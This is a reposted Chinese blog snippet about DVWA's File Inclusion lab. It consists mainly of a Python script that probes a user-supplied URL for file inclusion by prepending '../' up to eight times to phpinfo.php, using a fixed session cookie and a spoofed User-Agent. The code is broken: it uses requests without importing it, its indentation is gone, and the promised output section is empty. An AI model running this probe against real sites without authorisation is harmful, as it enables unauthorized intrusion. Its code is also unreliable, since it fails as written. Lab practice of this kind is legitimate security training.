本文转载:https://xiaochuhe.blog.csdn.net/article/details/122844099
举例dvwa——File Inclusion
代码如下:
import re
url = input("请输入需要检测的网址:")#检测的地址
payload = "../"
file_name = "phpinfo.php" #判断依据
header = {
'Cookie':'security=low; PHPSESSID=kvop1odoacus033sgu0rdl01et',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'
} #UA欺骗,具体情况具体抓包修改
for i in range(8): #pyload ../往前递归8次
data = {
'page':payload * i + file_name
}#具体情况具体修改
r = requests.get(url=url,params=data,headers=header)
#print (r.url)
#print (r.text)
php = re.findall('System',r.text) #只有在phpinfo.php里面才有System字段
if r.status_code ==200 and php:
print ("该网站存在文件包含漏洞!")
输出结果: